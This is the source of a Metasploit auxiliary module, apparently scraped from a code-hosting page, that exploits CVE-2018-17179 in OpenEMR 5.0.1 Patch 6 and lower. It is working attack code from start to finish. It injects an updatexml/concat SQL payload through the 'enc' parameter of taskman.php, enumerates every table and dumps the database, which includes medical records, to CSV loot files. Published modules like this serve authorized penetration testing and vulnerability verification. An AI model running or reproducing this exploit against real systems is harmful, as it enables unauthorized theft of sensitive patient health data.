Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Views: 11783
require 'csv'12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##6class MetasploitModule < Msf::Auxiliary7include Msf::Auxiliary::Report8include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::SQLi1011def initialize(info = {})12super(update_info(info,13'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',14'Description' => '15This module exploits a SQLi vulnerability found in16OpenEMR version 5.0.1 Patch 6 and lower. The17vulnerability allows the contents of the entire18database (with exception of log and task tables) to be19extracted.20This module saves each table as a `.csv` file in your21loot directory and has been tested with22OpenEMR 5.0.1 (3).23',24'License' => MSF_LICENSE,25'Author' =>26[27'Will Porter <will.porter[at]lodestonesecurity.com>'28],29'References' => [30['CVE', '2018-17179'],31['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']32],33'DisclosureDate' => '2019-05-17'34))3536register_options(37[38OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr'])39]40)41end4243def uri44target_uri.path45end4647def openemr_version48res = send_request_cgi(49'method' => 'GET',50'uri' => normalize_uri(uri, 'admin.php')51)52vprint_status("admin.php response code: #{res.code}")53document = Nokogiri::HTML(res.body)54document.css('tr')[1].css('td')[3].text55rescue StandardError56''57end5859def check60# Check version61print_status('Trying to detect installed version')62version = openemr_version63return Exploit::CheckCode::Unknown if version.empty?6465vprint_status("Version #{version} detected")66version.sub! ' (', '.'67version.sub! ')', ''68version.strip!6970return Exploit::CheckCode::Safe unless Rex::Version.new(version) < Rex::Version.new('5.0.1.7')7172Exploit::CheckCode::Appears73end7475def get_response(payload)76send_request_cgi(77'method' => 'GET',78'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),79'vars_get' => {80'action' => 'make_task',81'from_id' => '1',82'to_id' => '1',83'pid' => '1',84'doc_type' => '1',85'doc_id' => '1',86'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"87}88)89end9091def save_csv(data, table)92# Use the same gsub pattern as store_loot93# this will put the first 8 safe characters of the tablename94# in the filename in the loot directory95safe_table = table.gsub(/[^a-z0-9\.\_]+/i, '')96store_loot(97"openemr.#{safe_table}.dump",98'application/CSV',99rhost,100data.map(&:to_csv).join,101"#{safe_table}.csv"102)103end104105def dump_all106sqli_opts = {107truncation_length: 31, # slices of 31 bytes of the query response are returned108encoder: :base64, # the web application messes up multibyte characters, better encode109verbose: datastore['VERBOSE']110}111sqli = create_sqli(dbms: MySQLi::Common, opts: sqli_opts) do |payload|112res = get_response(payload)113if res && (response = res.body[%r{XPATH syntax error: '~(.*?)'</font>}m, 1])114response115else116''117end118end119unless sqli.test_vulnerable120fail_with Failure::NotVulnerable, 'The target does not seem vulnerable.'121end122print_good 'The target seems vulnerable.'123db_version = sqli.version124print_status("DB Version: #{db_version}")125print_status('Enumerating tables, this may take a moment...')126tables = sqli.enum_table_names127num_tables = tables.length128print_status("Identified #{num_tables} tables.")129# These tables are impossible to fetch because they increase each request130skiptables = %w[form_taskman log log_comment_encrypt]131# large table containing text in different languages, >4mb in size132skiptables << 'lang_definitions'133tables.each_with_index do |table, i|134if skiptables.include?(table)135print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")136else137columns_of_table = sqli.enum_table_columns(table)138print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}(#{columns_of_table.join(', ')})")139table_data = sqli.dump_table_fields(table, columns_of_table)140table_data.unshift(columns_of_table)141save_csv(table_data, table)142end143end144print_status("Dumped all tables to #{Msf::Config.loot_directory}")145end146147def run148dump_all149end150end151152153